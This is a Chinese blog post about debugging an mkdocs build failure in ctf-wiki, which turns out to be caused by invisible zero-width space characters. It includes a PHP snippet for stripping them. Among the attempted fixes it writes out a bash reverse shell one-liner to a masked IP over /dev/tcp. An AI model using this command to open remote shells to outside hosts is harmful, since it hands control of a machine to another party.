当前位置: 首页 > news >正文

【记一次pull request的惨痛教训】不可见的分隔符之Zero-with-space

问题描述:

我在修改 ctf-wiki 目录后进行 mkdocs build 去生成索引目录的时候报错:

mkdocs-build-and-serve

然后我尝试定位到第 2 行和第 288 行,这些行我似乎并没有修改过啊。

未果,开始去找师傅解决。

解决方案探索:

由于我不太懂 mkdocs 的运行机制,这个时候肯定是需要找刘师傅了。

方案一、 mkdocsclean 缓存。

1100338-20190106171645557-1885923951.jpg

似乎这个想法是行不通了,不是根本原因。

方案二、改目录

我们开始猜想是不是路径中有中文的锅,改一下路径,未果。

方案三、反弹 shell

弄不出来了,我直接反弹一个 shell 给刘师傅。

bash -i>& /dev/tcp/xxx.xxx.xxx.xxx/xxx 0>&1

似乎师傅觉得权限太小了,然后不让弄了23333,未果。

方案四、重新clone一遍

一般出现问题,从头来一遍就好了,然后我这么做了,重新改了一下索引,未果。

方案五、 git diff 定位源码

使用 git diff 看哪部分代码修改过了,发现了一些问题,明明两段代码一模一样的,却显示有被修改过的痕迹。

探索:

既然有点眉头了,我们开始猜测是不是 tab 和空格混淆了,但是我并没有修改过,几番猜测后可能是我的编辑器存在问题,我用 Typora 修改的目录,可能是因为编辑器的问题,自动加上了一些奇怪的东西进去。

开始尝试:

vim 去查看下目录文件,事情果然不简单:

zero-with-space

这个 <200b> 是什么鬼东西,删掉再本地跑一下试试看先,果真是这个特殊字符的锅。

特意去维基百科上查阅了文档,发现这个学术名词叫 Zero-width-space(零宽空格) ,是一种不可打印的 Unicode 字符,用于可能需要换行处。

简单理解,什么是零宽度空格?它是一个Unicode字符,它是一个空格,它没有宽度!

什么叫没有宽度?就是如果 2 个字母之间打了一个零宽度空格,你是看不见任何东西的,两个字母还是会挨在一起。而且更坑爹的是,就算你用的是等宽字体,它也看不见。

这种字符在高级编辑器中都是看不见这个符号的,只有 VIM 这种古老的编辑器才能看到。

有关这种特殊字元存在以下三种形式:

Unicode code pointcharacterUTF-8 (in literal)name
U+200B\xe2\x80\x8bZERO WIDTH SPACE
U+200C\xe2\x80\x8cZERO WIDTH NON-JOINER
U+200D\xe2\x80\x8dZERO WIDTH JOINER

我们在写入文件中应该用以下语法去过滤这三种字符:

// remove zero width space
$value = str_replace("\xe2\x80\x8b", '', $value);
$value = str_replace("\xe2\x80\x8c", '', $value);
$value = str_replace("\xe2\x80\x8d", '', $value);

扩展:

  • http://blog.isaach.com/2013/03/zero-width-space.html
  • Zero-width-space维基百科
  • 用零宽度字符水印揭露泄密者身份
  • Zero-Width-Spaces-Hiden
  • https://www.zachaysan.com/writing/2017-12-30-zero-width-characters

转载于:https://www.cnblogs.com/ECJTUACM-873284962/p/10229468.html

相关文章:

  • 在SQL 2005中用T-SQL插入中文数据时出现的问号或乱码的解决方案[转]
  • (轉貼)《OOD启思录》:61条面向对象设计的经验原则 (OO)
  • 电子书下载:Programming Entity Framework DbContext
  • C++ int转string
  • 反射相关函数获取枚举描述函数
  • 关于Repeater如何获取控件对象
  • 5分钟快速建立项目版本控制
  • 设计模式学习之生成器模式
  • SSH项目的简单table及其分页框架
  • .NET 事件模型教程(二)
  • SUP (SAP Mobile SDK 2.2) 连接 Sybase SQL Anywhere sample 数据库
  • 流的压缩与解压缩函数
  • Javascript 严格模式详解(转)
  • AngularJS的Hello World
  • 日志池
  • 【399天】跃迁之路——程序员高效学习方法论探索系列(实验阶段156-2018.03.11)...
  • Apache的80端口被占用以及访问时报错403
  • C++回声服务器_9-epoll边缘触发模式版本服务器
  • IndexedDB
  • Java小白进阶笔记(3)-初级面向对象
  • PAT A1017 优先队列
  • REST架构的思考
  • Vue学习第二天
  • 闭包--闭包作用之保存(一)
  • 复杂数据处理
  • 给初学者:JavaScript 中数组操作注意点
  • HanLP分词命名实体提取详解
  • 没有任何编程基础可以直接学习python语言吗?学会后能够做什么? ...
  • ​​​​​​​GitLab 之 GitLab-Runner 安装,配置与问题汇总
  • (07)Hive——窗口函数详解
  • (13)Latex:基于ΤΕΧ的自动排版系统——写论文必备
  • (aiohttp-asyncio-FFmpeg-Docker-SRS)实现异步摄像头转码服务器
  • (编译到47%失败)to be deleted
  • (二)Pytorch快速搭建神经网络模型实现气温预测回归(代码+详细注解)
  • (每日持续更新)jdk api之FileReader基础、应用、实战
  • (使用vite搭建vue3项目(vite + vue3 + vue router + pinia + element plus))
  • (完整代码)R语言中利用SVM-RFE机器学习算法筛选关键因子
  • (转) 深度模型优化性能 调参
  • (转)清华学霸演讲稿:永远不要说你已经尽力了
  • (转载)(官方)UE4--图像编程----着色器开发
  • .NET “底层”异步编程模式——异步编程模型(Asynchronous Programming Model,APM)...
  • .NET 简介:跨平台、开源、高性能的开发平台
  • .net 写了一个支持重试、熔断和超时策略的 HttpClient 实例池
  • .net连接MySQL的方法
  • .Net中ListT 泛型转成DataTable、DataSet
  • .考试倒计时43天!来提分啦!
  • @RequestBody与@ModelAttribute
  • @SentinelResource详解
  • @serverendpoint注解_SpringBoot 使用WebSocket打造在线聊天室(基于注解)
  • [ vulhub漏洞复现篇 ] GhostScript 沙箱绕过(任意命令执行)漏洞CVE-2019-6116
  • [android]-如何在向服务器发送request时附加已保存的cookie数据
  • [C/C++] C/C++中数字与字符串之间的转换
  • [C++]C++基础知识概述
  • [C++打怪升级]--学习总目录
  • [CTO札记]盛大文学公司名称对联